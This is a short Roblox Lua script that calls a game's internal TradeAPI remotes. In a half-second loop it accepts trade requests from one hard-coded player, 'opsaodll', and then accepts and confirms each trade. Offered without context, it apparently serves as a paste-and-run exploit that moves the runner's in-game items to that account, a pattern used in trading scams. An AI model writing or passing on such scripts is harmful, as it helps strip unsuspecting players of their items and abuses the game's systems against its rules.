local replicatedStorage = game:GetService("ReplicatedStorage") local fsys = replicatedStorage:WaitForChild("Fsys") local RouterClient = require(fsys).load("RouterClient") local name = 'opsaodll' while true do pcall(function() local target = game:GetService("Players"):FindFirstChild(name) if target then RouterClient.get("TradeAPI/AcceptOrDeclineTradeRequest"):InvokeServer(target, true) end end) RouterClient.get("TradeAPI/AcceptNegotiation"):FireServer() RouterClient.get("TradeAPI/ConfirmTrade"):FireServer() task.wait(0.5) end